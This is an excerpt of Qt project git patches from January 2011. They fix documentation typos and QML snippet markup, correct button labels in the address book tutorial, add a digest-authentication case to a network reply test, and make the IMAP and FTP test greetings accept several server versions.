    +    localCursor.deletePreviousChar();
    +
    +    QCOMPARE(listener.lastRecordedPosition, 10);
    +    QCOMPARE(listener.lastRecordedAnchor, 0);
    +}
    +
     void tst_QTextCursor::update_data()
     {
         QTest::addColumn("text");
    -- 
    cgit v0.12
    
    
    From 422514d98ac9a6c4df36caad81e6f315f3b80086 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Tue, 25 Jan 2011 13:43:32 +0100
    Subject: Doc: Fixed broken QML code snippets.
    
    ---
     doc/src/declarative/qdeclarativeintro.qdoc        | 17 +++++++++--------
     src/declarative/util/qdeclarativexmllistmodel.cpp |  2 ++
     2 files changed, 11 insertions(+), 8 deletions(-)
    
    diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
    index 4b7dce5..9b96d43 100644
    --- a/doc/src/declarative/qdeclarativeintro.qdoc
    +++ b/doc/src/declarative/qdeclarativeintro.qdoc
    @@ -160,19 +160,19 @@ characters other than letters, numbers and underscores.
     
     JavaScript expressions can be used to assign property values. For example:
     
    -\code
    +\qml
     Item {
         width: 100 * 3
         height: 50 + 22
     }
    -\endcode
    +\endqml
     
     These expressions can include references to other objects and properties, in which case
     a \l{Property Binding}{binding} is established: when the value of the expression changes,
     the property to which the expression is assigned is automatically updated to the
     new value. For example:
     
    -\code
    +\qml
     Item {
         width: 300
         height: 300
    @@ -183,7 +183,7 @@ Item {
             color: "yellow"
         }
     }
    -\endcode
    +\endqml
     
     Here, the \l Rectangle object's \c width property is set relative to the width
     of its parent. Whenever the parent's width changes, the width of the \l Rectangle is
    @@ -330,7 +330,7 @@ element that attaches \e property.
     For example, the \l ListView element attaches the \e ListView.isCurrentItem property
     to each delegate it creates:
     
    -\code
    +\qml
     Component {
         id: myDelegate
         Text {
    @@ -338,10 +338,13 @@ Component {
             color: ListView.isCurrentItem ? "red" : "blue"
         }
     }
    +\endqml
    +
    +\qml
     ListView {
         delegate: myDelegate
     }
    -\endcode
    +\endqml
     
     Another example of attached properties is the \l Keys element which
     attaches properties for handling key presses to
    @@ -390,6 +393,4 @@ MouseArea {
         }
     }
     \endqml
    -
    -
     */
    diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
    index c582df1..6b13e88 100644
    --- a/src/declarative/util/qdeclarativexmllistmodel.cpp
    +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
    @@ -96,7 +96,9 @@ typedef QPair QDeclarativeXmlListRange;
                 query: "title/string()"
             }
         }
    +    \endqml
     
    +    \qml
         ListView {
             model: xmlModel
             delegate: Text { text: title }
    -- 
    cgit v0.12
    
    
    From 67fbf125f3f96ea0ff0da66b1dd8b7dd348ca69f Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Tue, 25 Jan 2011 13:46:42 +0100
    Subject: Doc: Fixed errors in the address book tutorial.
    
    Task-number: QTBUG-16865
    ---
     doc/src/tutorials/addressbook.qdoc                   | 2 +-
     examples/tutorials/addressbook/part6/addressbook.cpp | 2 +-
     examples/tutorials/addressbook/part7/addressbook.cpp | 2 +-
     3 files changed, 3 insertions(+), 3 deletions(-)
    
    diff --git a/doc/src/tutorials/addressbook.qdoc b/doc/src/tutorials/addressbook.qdoc
    index cbc918f..ec4a4f3 100644
    --- a/doc/src/tutorials/addressbook.qdoc
    +++ b/doc/src/tutorials/addressbook.qdoc
    @@ -831,7 +831,7 @@
         \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2
     
         Although it is not shown here, just like the other features we implemented,
    -    we add the push buttons to the layout panel on the right, \c button1Layout,
    +    we add the push buttons to the layout panel on the right, \c buttonLayout1,
         and we connect the push buttons' \l{QPushButton::clicked()}{clicked()}
         signals to their respective slots.
     
    diff --git a/examples/tutorials/addressbook/part6/addressbook.cpp b/examples/tutorials/addressbook/part6/addressbook.cpp
    index 64615c7..c7dc8e2 100644
    --- a/examples/tutorials/addressbook/part6/addressbook.cpp
    +++ b/examples/tutorials/addressbook/part6/addressbook.cpp
    @@ -74,7 +74,7 @@ AddressBook::AddressBook(QWidget *parent)
     //! [tooltip 1]    
         loadButton->setToolTip(tr("Load contacts from a file"));
     //! [tooltip 1]        
    -    saveButton = new QPushButton(tr("Sa&ve..."));
    +    saveButton = new QPushButton(tr("&Save..."));
     //! [tooltip 2]
         saveButton->setToolTip(tr("Save contacts to a file"));
     //! [tooltip 2]
    diff --git a/examples/tutorials/addressbook/part7/addressbook.cpp b/examples/tutorials/addressbook/part7/addressbook.cpp
    index b04198c..501ad31 100644
    --- a/examples/tutorials/addressbook/part7/addressbook.cpp
    +++ b/examples/tutorials/addressbook/part7/addressbook.cpp
    @@ -72,7 +72,7 @@ AddressBook::AddressBook(QWidget *parent)
     
         loadButton = new QPushButton(tr("&Load..."));
         loadButton->setToolTip(tr("Load contacts from a file"));
    -    saveButton = new QPushButton(tr("Sa&ve..."));
    +    saveButton = new QPushButton(tr("&Save..."));
         saveButton->setToolTip(tr("Save contacts to a file"));
         saveButton->setEnabled(false);
     
    -- 
    cgit v0.12
    
    
    From d28b06eeaaac030901c2f8929a5628349ed1bd2e Mon Sep 17 00:00:00 2001
    From: Morten Engvoldsen 
    Date: Tue, 25 Jan 2011 14:04:09 +0100
    Subject: Doc: fixing bugs and typos based on feedback
    
    ---
     doc/src/declarative/globalobject.qdoc         | 2 +-
     doc/src/declarative/qtprogrammers.qdoc        | 2 +-
     doc/src/examples/textfinder.qdoc              | 2 +-
     doc/src/getting-started/gettingstarted.qdoc   | 2 +-
     doc/src/howtos/HWacceleration.qdoc            | 2 +-
     doc/src/howtos/restoring-geometry.qdoc        | 2 +-
     doc/src/howtos/sharedlibrary.qdoc             | 2 +-
     doc/src/modules.qdoc                          | 2 +-
     doc/src/overviews.qdoc                        | 4 ++--
     doc/src/snippets/code/doc_src_stylesheet.qdoc | 2 +-
     doc/src/windows-and-dialogs/mainwindow.qdoc   | 2 +-
     src/gui/embedded/qscreen_qws.cpp              | 2 +-
     src/gui/kernel/qgesture.cpp                   | 2 +-
     src/sql/kernel/qsqldatabase.cpp               | 2 +-
     14 files changed, 15 insertions(+), 15 deletions(-)
    
    diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc
    index 8671b48..d48b5d3 100644
    --- a/doc/src/declarative/globalobject.qdoc
    +++ b/doc/src/declarative/globalobject.qdoc
    @@ -48,7 +48,7 @@ data from over a network.
     The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard}
     as many popular web browsers with following exceptions:
     \list
    -\i QML's XMLHttpRequest does not enforce the same origin policty.
    +\i QML's XMLHttpRequest does not enforce the same origin policy.
     \i QML's XMLHttpRequest does not support \e synchronous requests.
     \endlist
     
    diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc
    index 7895c9f..b7d09a1 100644
    --- a/doc/src/declarative/qtprogrammers.qdoc
    +++ b/doc/src/declarative/qtprogrammers.qdoc
    @@ -103,7 +103,7 @@ So, to implement your reusable button, you would simply build a QML component.
     
     Parent widgets each provide a generic way to interface to one or more arbitrary other widgets.
     A QTabWidget provides an interface to multiple "pages", one of which is visible at any time,
    -and a mechanism for selecting among them (the QTabBar). A QScollArea provides scrollbars around
    +and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around
     a widget that is otherwise too large to fit in available space.
     
     Nearly all such components can be created directly in QML. Only a few cases
    diff --git a/doc/src/examples/textfinder.qdoc b/doc/src/examples/textfinder.qdoc
    index 31fe785..e92bb98 100644
    --- a/doc/src/examples/textfinder.qdoc
    +++ b/doc/src/examples/textfinder.qdoc
    @@ -80,7 +80,7 @@
     
         \snippet examples/uitools/textfinder/textfinder.h 0
     
    -    The slot \c{on_find_Button_clicked()} is a slot named according to the
    +    The slot \c{on_findButton_clicked()} is a slot named according to the
         \l{Using a Designer UI File in Your Application#Automatic Connections}
         {Automatic Connection} naming convention required
         by \c uic.
    diff --git a/doc/src/getting-started/gettingstarted.qdoc b/doc/src/getting-started/gettingstarted.qdoc
    index 2b8078e..502fb65 100644
    --- a/doc/src/getting-started/gettingstarted.qdoc
    +++ b/doc/src/getting-started/gettingstarted.qdoc
    @@ -33,7 +33,7 @@
     	\section1
     	Creating applications using Qt and QML is easy enough once you get started.
     	To get you started we have created two tutorials creating two similar applications,
    -	but using diiferent approaches. One tutorial implements the user interface using
    +	but using different approaches. One tutorial implements the user interface using
     	QML, while the other implements the whole application using traditional Qt.
     	
     	Please click on the links below to start the ride.
    diff --git a/doc/src/howtos/HWacceleration.qdoc b/doc/src/howtos/HWacceleration.qdoc
    index 7cc3346..b5a4733 100644
    --- a/doc/src/howtos/HWacceleration.qdoc
    +++ b/doc/src/howtos/HWacceleration.qdoc
    @@ -27,7 +27,7 @@
     
     /*!
         \page HWAcc_rendering.html
    -    \title Hardware Acceleration & Embedded Platforms.
    +    \title Hardware Acceleration & Embedded Platforms.
         \brief How to use hardware acceleration for fast rendering.
     
         \ingroup best-practices
    diff --git a/doc/src/howtos/restoring-geometry.qdoc b/doc/src/howtos/restoring-geometry.qdoc
    index 005a29e..b3d6355 100644
    --- a/doc/src/howtos/restoring-geometry.qdoc
    +++ b/doc/src/howtos/restoring-geometry.qdoc
    @@ -28,7 +28,7 @@
     /*!
         \page restoring-geometry.html
         \title Restoring a Window's Geometry
    -    \brief How to save & restore window geometry.
    +    \brief How to save & restore window geometry.
         \ingroup best-practices
     
         This document describes how to save and restore a \l{Window
    diff --git a/doc/src/howtos/sharedlibrary.qdoc b/doc/src/howtos/sharedlibrary.qdoc
    index 5b47618..3e611b9 100644
    --- a/doc/src/howtos/sharedlibrary.qdoc
    +++ b/doc/src/howtos/sharedlibrary.qdoc
    @@ -59,7 +59,7 @@
         \endlist
     
         Now, we need to ensure that the right macro is invoked -- whether we
    -    compile a share library itself, or just the client using the shared
    +    compile a shared library itself, or just the client using the shared
         library.
         Typically, this can be solved by adding a special header.
     
    diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc
    index 9dbf7a7..60dd028 100644
    --- a/doc/src/modules.qdoc
    +++ b/doc/src/modules.qdoc
    @@ -40,7 +40,7 @@
         \header \o {2,1} \bold{Modules for general software development}
         \row \o \l{QtCore} \o Core non-graphical classes used by other modules
         \row \o \l{QtGui} \o Graphical user interface (GUI) components
    -    \row \o \l{qtmultimedia-module.html}{QtMultimedia} \o Classes for low-level multimedia functionality
    +    \row \o \l{qtmultimedia.html}{QtMultimedia} \o Classes for low-level multimedia functionality
         \row \o \l{QtNetwork} \o Classes for network programming
         \row \o \l{QtOpenGL} \o OpenGL support classes
         \row \o \l{QtOpenVG} \o OpenVG support classes
    diff --git a/doc/src/overviews.qdoc b/doc/src/overviews.qdoc
    index 11e1f7b..f51e320 100644
    --- a/doc/src/overviews.qdoc
    +++ b/doc/src/overviews.qdoc
    @@ -42,7 +42,7 @@
         Qt is a cross-platform application and UI framework for writing
         web-enabled applications for desktop, mobile, and embedded
         operating systems. This page contains links to articles and overviews
    -	explaining key components and techniuqes used in Qt development.
    +	explaining key components and techniques used in Qt development.
     	
         \generatelist {related}
      */
    @@ -51,7 +51,7 @@
         \group qt-gui-concepts
         \title UI Design with Qt
     
    -    \brief The Qt components for constructing native look & feel desktop UI's.
    +    \brief The Qt components for constructing native look and feel desktop UI's.
     
         These pages are about Qt's traditional set of GUI components for
         building both native look & feel and custom UI's for the desktop
    diff --git a/doc/src/snippets/code/doc_src_stylesheet.qdoc b/doc/src/snippets/code/doc_src_stylesheet.qdoc
    index 49e2581..9b8a3b5 100644
    --- a/doc/src/snippets/code/doc_src_stylesheet.qdoc
    +++ b/doc/src/snippets/code/doc_src_stylesheet.qdoc
    @@ -213,7 +213,7 @@ namespace ns {
     }
     
     // ...
    -qApp->setSytleSheet("ns--MyPushButton { background: yellow; }");
    +qApp->setStyleSheet("ns--MyPushButton { background: yellow; }");
     //! [27]
     
     
    diff --git a/doc/src/windows-and-dialogs/mainwindow.qdoc b/doc/src/windows-and-dialogs/mainwindow.qdoc
    index bf3e3a8..0bf4909 100644
    --- a/doc/src/windows-and-dialogs/mainwindow.qdoc
    +++ b/doc/src/windows-and-dialogs/mainwindow.qdoc
    @@ -37,7 +37,7 @@
         \ingroup qt-gui-concepts
     
         A \l{Widgets Tutorial}{widget} that is not embedded in a parent widget is called a window.
    -    Usually, windows have a frame and a title bar, although it is also possible to create
    +    (Usually, windows have a frame and a title bar, although it is also possible to create
         windows without such decoration using suitable window flags). In Qt, QMainWindow
         and the various subclasses of QDialog are the most common window types.
     
    diff --git a/src/gui/embedded/qscreen_qws.cpp b/src/gui/embedded/qscreen_qws.cpp
    index 4656af8..e207ed1 100644
    --- a/src/gui/embedded/qscreen_qws.cpp
    +++ b/src/gui/embedded/qscreen_qws.cpp
    @@ -1768,7 +1768,7 @@ QImage::Format QScreenPrivate::preferredImageFormat() const
         This function is called by every \l{Qt for Embedded Linux}
         application on startup, and must be implemented to map in the
         framebuffer and the accelerated drivers that the graphics card
    -    control registers.  Note that coonnect must be called \e before
    +    control registers.  Note that connect must be called \e before
         the initDevice() function.
     
         Ensure that true is returned if a connection to the screen device
    diff --git a/src/gui/kernel/qgesture.cpp b/src/gui/kernel/qgesture.cpp
    index 17ede02..56daba2 100644
    --- a/src/gui/kernel/qgesture.cpp
    +++ b/src/gui/kernel/qgesture.cpp
    @@ -332,7 +332,7 @@ void QPanGesture::setAcceleration(qreal value)
     /*!
         \class QPinchGesture
         \since 4.6
    -    \brief The QPinchGesture class describes a pinch gesture made my the user.
    +    \brief The QPinchGesture class describes a pinch gesture made by the user.
         \ingroup touch
         \ingroup gestures
     
    diff --git a/src/sql/kernel/qsqldatabase.cpp b/src/sql/kernel/qsqldatabase.cpp
    index 389047d..ce9aae5 100644
    --- a/src/sql/kernel/qsqldatabase.cpp
    +++ b/src/sql/kernel/qsqldatabase.cpp
    @@ -798,7 +798,7 @@ void QSqlDatabasePrivate::init(const QString &type)
         Destroys the object and frees any allocated resources.
     
         If this is the last QSqlDatabase object that uses a certain
    -    database connection, the is automatically closed.
    +    database connection, the database connection is automatically closed.
     
         \sa close()
     */
    -- 
    cgit v0.12
    
    
    From 134c86763b99b2931de4d57db1c19411a20443cf Mon Sep 17 00:00:00 2001
    From: Morten Engvoldsen 
    Date: Tue, 25 Jan 2011 14:09:54 +0100
    Subject: Doc: Fixing typo
    
    ---
     doc/src/declarative/globalobject.qdoc | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc
    index d48b5d3..2568f81 100644
    --- a/doc/src/declarative/globalobject.qdoc
    +++ b/doc/src/declarative/globalobject.qdoc
    @@ -77,7 +77,7 @@ browser.  The following objects and properties are supported by the QML implemen
     \o lastChild
     \o previousSibling
     \o nextSibling
    -\o attribtes
    +\o attributes
     \endlist
     
     \o 
    -- 
    cgit v0.12
    
    
    From c6a6448272168f0105c973bef5e531114533fc90 Mon Sep 17 00:00:00 2001
    From: Peter Hartmann 
    Date: Mon, 24 Jan 2011 14:22:57 +0100
    Subject: add autotest for digest authentication
    
    Reviewed-by: Markus Goetz
    Task-number: QTBUG-15070
    ---
     tests/auto/qnetworkreply/tst_qnetworkreply.cpp | 30 +++++++++++++++++---------
     1 file changed, 20 insertions(+), 10 deletions(-)
    
    diff --git a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
    index bd22837..8274140 100644
    --- a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
    +++ b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
    @@ -212,6 +212,7 @@ private Q_SLOTS:
         void ioGetFromBuiltinHttp();
         void ioGetFromHttpWithReuseParallel();
         void ioGetFromHttpWithReuseSequential();
    +    void ioGetFromHttpWithAuth_data();
         void ioGetFromHttpWithAuth();
         void ioGetFromHttpWithAuthSynchronous();
         void ioGetFromHttpWithProxyAuth();
    @@ -2163,15 +2164,27 @@ void tst_QNetworkReply::ioGetFromHttpWithReuseSequential()
         }
     }
     
    +void tst_QNetworkReply::ioGetFromHttpWithAuth_data()
    +{
    +    QTest::addColumn("url");
    +    QTest::addColumn("expectedData");
    +
    +    QFile reference(SRCDIR "/rfc3252.txt");
    +    reference.open(QIODevice::ReadOnly);
    +    QByteArray referenceData = reference.readAll();
    +    QTest::newRow("basic") << QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/rfcs-auth/rfc3252.txt") << referenceData;
    +    QTest::newRow("digest") << QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/auth-digest/") << QByteArray("digest authentication successful\n");
    +}
    +
     void tst_QNetworkReply::ioGetFromHttpWithAuth()
     {
         // This test sends three requests
         // The first two in parallel
         // The third after the first two finished
    -    QFile reference(SRCDIR "/rfc3252.txt");
    -    QVERIFY(reference.open(QIODevice::ReadOnly));
     
    -    QNetworkRequest request(QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/rfcs-auth/rfc3252.txt"));
    +    QFETCH(QUrl, url);
    +    QFETCH(QByteArray, expectedData);
    +    QNetworkRequest request(url);
         {
             QNetworkReplyPtr reply1 = manager.get(request);
             QNetworkReplyPtr reply2 = manager.get(request);
    @@ -2196,14 +2209,12 @@ void tst_QNetworkReply::ioGetFromHttpWithAuth()
     
             QCOMPARE(reply1->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
             QCOMPARE(reply2->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
    -        QByteArray referenceData = reference.readAll();
    -        QCOMPARE(reader1.data, referenceData);
    -        QCOMPARE(reader2.data, referenceData);
    +        QCOMPARE(reader1.data, expectedData);
    +        QCOMPARE(reader2.data, expectedData);
     
             QCOMPARE(authspy.count(), 1);
         }
     
    -    reference.seek(0);
         // rinse and repeat:
         {
             QNetworkReplyPtr reply = manager.get(request);
    @@ -2219,13 +2230,12 @@ void tst_QNetworkReply::ioGetFromHttpWithAuth()
                                this, SLOT(authenticationRequired(QNetworkReply*,QAuthenticator*)));
     
             QCOMPARE(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
    -        QCOMPARE(reader.data, reference.readAll());
    +        QCOMPARE(reader.data, expectedData);
     
             QCOMPARE(authspy.count(), 0);
         }
     
         // now check with synchronous calls:
    -    reference.seek(0);
         {
             request.setAttribute(
                     static_cast(SynchronousRequestAttribute),
    @@ -2241,7 +2251,7 @@ void tst_QNetworkReply::ioGetFromHttpWithAuth()
     
             // the only thing we check here is that the auth cache was used when using synchronous requests
             QCOMPARE(replySync->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
    -        QCOMPARE(replySync->readAll(), reference.readAll());
    +        QCOMPARE(replySync->readAll(), expectedData);
         }
     }
     
    -- 
    cgit v0.12
    
    
    From 44d0d663d4972b2d8a0248e4ea3222a46942ff0e Mon Sep 17 00:00:00 2001
    From: Rohan McGovern 
    Date: Thu, 6 Jan 2011 13:39:14 +1000
    Subject: network tests: make IMAP, FTP testdata more flexible.
    
    Move all hardcoded IMAP/FTP fixtures into network-settings.h.
    Make it work with new and old network test server.
    
    Reviewed-by: Markus Goetz
    Task: QTBUG-15114
    ---
     tests/auto/network-settings.h                      | 79 ++++++++++++++++----
     .../qhttpsocketengine/tst_qhttpsocketengine.cpp    | 10 +--
     .../tst_qnativesocketengine.cpp                    |  2 +-
     .../tst_qsocks5socketengine.cpp                    | 12 +--
     tests/auto/qsslsocket/tst_qsslsocket.cpp           |  3 +-
     tests/auto/qtcpsocket/tst_qtcpsocket.cpp           | 87 ++++++++++++++++------
     6 files changed, 142 insertions(+), 51 deletions(-)
    
    diff --git a/tests/auto/network-settings.h b/tests/auto/network-settings.h
    index 6730946..0cb8e3a 100644
    --- a/tests/auto/network-settings.h
    +++ b/tests/auto/network-settings.h
    @@ -64,6 +64,7 @@
     //#define SYMBIAN_WINSOCK_CONNECTIVITY
     #endif // Q_CC_NOKIAX86
     
    +// FIXME: any reason we do this for symbian only, and not other platforms?
     class QtNetworkSettingsRecord {
     public:
         QtNetworkSettingsRecord() { }
    @@ -128,7 +129,6 @@ public:
         static QString wildcardServerName()
         {
             return "qt-test-server.wildcard.dev." + serverDomainName();
    -        //return "qttest.wildcard.dev." + serverDomainName();
         }
     
     #ifdef QT_NETWORK_LIB
    @@ -149,8 +149,10 @@ public:
         }
     #endif
     
    -    static QByteArray expectedReplyIMAP()
    +    static bool compareReplyIMAP(QByteArray const& actual)
         {
    +        QList expected;
    +
     #ifdef Q_OS_SYMBIAN
             loadTestSettings();
     
    @@ -160,17 +162,35 @@ public:
                     imapExpectedReply = entry->recordValue().toAscii();
                     imapExpectedReply.append('\r').append('\n');
                 }
    -            return imapExpectedReply.data();
    +            expected << imapExpectedReply.data();
             }
     #endif
    -        QByteArray expected( "* OK [CAPABILITY IMAP4 IMAP4rev1 LITERAL+ ID STARTTLS LOGINDISABLED] " );
    -        expected = expected.append(QtNetworkSettings::serverName().toAscii());
    -        expected = expected.append(" Cyrus IMAP4 v2.3.11-Mandriva-RPM-2.3.11-6mdv2008.1 server ready\r\n");
    -        return expected;
    +
    +        // Mandriva; old test server
    +        expected << QByteArray( "* OK [CAPABILITY IMAP4 IMAP4rev1 LITERAL+ ID STARTTLS LOGINDISABLED] " )
    +            .append(QtNetworkSettings::serverName().toAscii())
    +            .append(" Cyrus IMAP4 v2.3.11-Mandriva-RPM-2.3.11-6mdv2008.1 server ready\r\n");
    +
    +        // Ubuntu 10.04; new test server
    +        expected << QByteArray( "* OK " )
    +            .append(QtNetworkSettings::serverLocalName().toAscii())
    +            .append(" Cyrus IMAP4 v2.2.13-Debian-2.2.13-19 server ready\r\n");
    +
    +        // Feel free to add more as needed
    +
    +        Q_FOREACH (QByteArray const& ba, expected) {
    +            if (ba == actual) {
    +                return true;
    +            }
    +        }
    +
    +        return false;
         }
     
    -    static QByteArray expectedReplySSL()
    +    static bool compareReplyIMAPSSL(QByteArray const& actual)
         {
    +        QList expected;
    +
     #ifdef Q_OS_SYMBIAN
             loadTestSettings();
     
    @@ -180,19 +200,46 @@ public:
                     imapExpectedReplySsl = entry->recordValue().toAscii();
                     imapExpectedReplySsl.append('\r').append('\n');
                 }
    -            return imapExpectedReplySsl.data();
    +            expected << imapExpectedReplySsl.data();
             }
     #endif
    -        QByteArray expected( "* OK [CAPABILITY IMAP4 IMAP4rev1 LITERAL+ ID AUTH=PLAIN SASL-IR] " );
    -        expected = expected.append(QtNetworkSettings::serverName().toAscii());
    -        expected = expected.append(" Cyrus IMAP4 v2.3.11-Mandriva-RPM-2.3.11-6mdv2008.1 server ready\r\n");
    -        return expected;
    +        // Mandriva; old test server
    +        expected << QByteArray( "* OK [CAPABILITY IMAP4 IMAP4rev1 LITERAL+ ID AUTH=PLAIN SASL-IR] " )
    +            .append(QtNetworkSettings::serverName().toAscii())
    +            .append(" Cyrus IMAP4 v2.3.11-Mandriva-RPM-2.3.11-6mdv2008.1 server ready\r\n");
    +
    +        // Ubuntu 10.04; new test server
    +        expected << QByteArray( "* OK " )
    +            .append(QtNetworkSettings::serverLocalName().toAscii())
    +            .append(" Cyrus IMAP4 v2.2.13-Debian-2.2.13-19 server ready\r\n");
    +
    +        // Feel free to add more as needed
    +
    +        Q_FOREACH (QByteArray const& ba, expected) {
    +            if (ba == actual) {
    +                return true;
    +            }
    +        }
    +
    +        return false;
         }
     
    -    static QByteArray expectedReplyFtp()
    +    static bool compareReplyFtp(QByteArray const& actual)
         {
    -        QByteArray expected( "220 (vsFTPd 2.0.5)\r\n221 Goodbye.\r\n" );
    -        return expected;
    +        QList expected;
    +
    +        // A few different vsFTPd versions.
    +        // Feel free to add more as needed
    +        expected << QByteArray( "220 (vsFTPd 2.0.5)\r\n221 Goodbye.\r\n" );
    +        expected << QByteArray( "220 (vsFTPd 2.2.2)\r\n221 Goodbye.\r\n" );
    +
    +        Q_FOREACH (QByteArray const& ba, expected) {
    +            if (ba == actual) {
    +                return true;
    +            }
    +        }
    +
    +        return false;
         }
     
     #ifdef Q_OS_SYMBIAN
    diff --git a/tests/auto/qhttpsocketengine/tst_qhttpsocketengine.cpp b/tests/auto/qhttpsocketengine/tst_qhttpsocketengine.cpp
    index f86ba63..972185b 100644
    --- a/tests/auto/qhttpsocketengine/tst_qhttpsocketengine.cpp
    +++ b/tests/auto/qhttpsocketengine/tst_qhttpsocketengine.cpp
    @@ -325,7 +325,7 @@ void tst_QHttpSocketEngine::simpleConnectToIMAP()
         QVERIFY(socketDevice.read(array.data(), array.size()) == available);
     
         // Check that the greeting is what we expect it to be
    -    QCOMPARE(array.constData(), QtNetworkSettings::expectedReplyIMAP().constData());
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(array), array.constData());
     
     
         // Write a logout message
    @@ -455,7 +455,7 @@ void tst_QHttpSocketEngine::tcpSocketBlockingTest()
         // Read greeting
         QVERIFY(socket.waitForReadyRead(5000));
         QString s = socket.readLine();
    -    QCOMPARE(s.toLatin1().constData(), QtNetworkSettings::expectedReplyIMAP().constData());
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(s.toLatin1()), qPrintable(s));
     
         // Write NOOP
         QCOMPARE((int) socket.write("1 NOOP\r\n", 8), 8);
    @@ -530,8 +530,8 @@ void tst_QHttpSocketEngine::tcpSocketNonBlockingTest()
     
         // Read greeting
         QVERIFY(!tcpSocketNonBlocking_data.isEmpty());
    -    QCOMPARE(tcpSocketNonBlocking_data.at(0).toLatin1().constData(),
    -            QtNetworkSettings::expectedReplyIMAP().constData());
    +    QByteArray data = tcpSocketNonBlocking_data.at(0).toLatin1();
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(data), data.constData());
     
     
         tcpSocketNonBlocking_data.clear();
    @@ -713,7 +713,7 @@ void tst_QHttpSocketEngine::passwordAuth()
         QVERIFY(socketDevice.read(array.data(), array.size()) == available);
     
         // Check that the greeting is what we expect it to be
    -    QCOMPARE(array.constData(), QtNetworkSettings::expectedReplyIMAP().constData());
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(array), array.constData());
     
     
         // Write a logout message
    diff --git a/tests/auto/qnativesocketengine/tst_qnativesocketengine.cpp b/tests/auto/qnativesocketengine/tst_qnativesocketengine.cpp
    index 2b0b632..782c2f0 100644
    --- a/tests/auto/qnativesocketengine/tst_qnativesocketengine.cpp
    +++ b/tests/auto/qnativesocketengine/tst_qnativesocketengine.cpp
    @@ -173,7 +173,7 @@ void tst_QNativeSocketEngine::simpleConnectToIMAP()
         QVERIFY(socketDevice.read(array.data(), array.size()) == available);
     
         // Check that the greeting is what we expect it to be
    -    QCOMPARE(array.constData(), QtNetworkSettings::expectedReplyIMAP().constData());
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(array), array.constData());
     
         // Write a logout message
         QByteArray array2 = "ZZZ LOGOUT\r\n";
    diff --git a/tests/auto/qsocks5socketengine/tst_qsocks5socketengine.cpp b/tests/auto/qsocks5socketengine/tst_qsocks5socketengine.cpp
    index 8f0cbc3..9da7197 100644
    --- a/tests/auto/qsocks5socketengine/tst_qsocks5socketengine.cpp
    +++ b/tests/auto/qsocks5socketengine/tst_qsocks5socketengine.cpp
    @@ -336,7 +336,7 @@ void tst_QSocks5SocketEngine::simpleConnectToIMAP()
         QVERIFY(socketDevice.read(array.data(), array.size()) == available);
     
         // Check that the greeting is what we expect it to be
    -    QCOMPARE(array.constData(), QtNetworkSettings::expectedReplyIMAP().constData());
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(array), array.constData());
     
         // Write a logout message
         QByteArray array2 = "XXXX LOGOUT\r\n";
    @@ -596,7 +596,7 @@ void tst_QSocks5SocketEngine::tcpSocketBlockingTest()
         // Read greeting
         QVERIFY(socket.waitForReadyRead(5000));
         QString s = socket.readLine();
    -    QCOMPARE(s.toLatin1().constData(), QtNetworkSettings::expectedReplyIMAP().constData());
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(s.toLatin1()), s.toLatin1().constData());
     
         // Write NOOP
         QCOMPARE((int) socket.write("1 NOOP\r\n", 8), 8);
    @@ -671,8 +671,8 @@ void tst_QSocks5SocketEngine::tcpSocketNonBlockingTest()
     
         // Read greeting
         QVERIFY(!tcpSocketNonBlocking_data.isEmpty());
    -    QCOMPARE(tcpSocketNonBlocking_data.at(0).toLatin1().constData(),
    -            QtNetworkSettings::expectedReplyIMAP().constData());
    +    QByteArray data = tcpSocketNonBlocking_data.at(0).toLatin1();
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(data), data.constData());
     
         tcpSocketNonBlocking_data.clear();
     
    @@ -859,7 +859,7 @@ void tst_QSocks5SocketEngine::passwordAuth()
         QVERIFY(socketDevice.read(array.data(), array.size()) == available);
     
         // Check that the greeting is what we expect it to be
    -    QCOMPARE(array.constData(), QtNetworkSettings::expectedReplyIMAP().constData());
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(array), array.constData());
     
         // Write a logout message
         QByteArray array2 = "XXXX LOGOUT\r\n";
    @@ -927,7 +927,7 @@ void tst_QSocks5SocketEngine::passwordAuth2()
         QVERIFY(socketDevice.read(array.data(), array.size()) == available);
     
         // Check that the greeting is what we expect it to be
    -    QCOMPARE(array.constData(), QtNetworkSettings::expectedReplyIMAP().constData());
    +    QVERIFY2(QtNetworkSettings::compareReplyIMAP(array), array.constData());
     
         // Write a logout message
         QByteArray array2 = "XXXX LOGOUT\r\n";
    diff --git a/tests/auto/qsslsocket/tst_qsslsocket.cpp b/tests/auto/qsslsocket/tst_qsslsocket.cpp
    index d6a7a01..3223006 100644
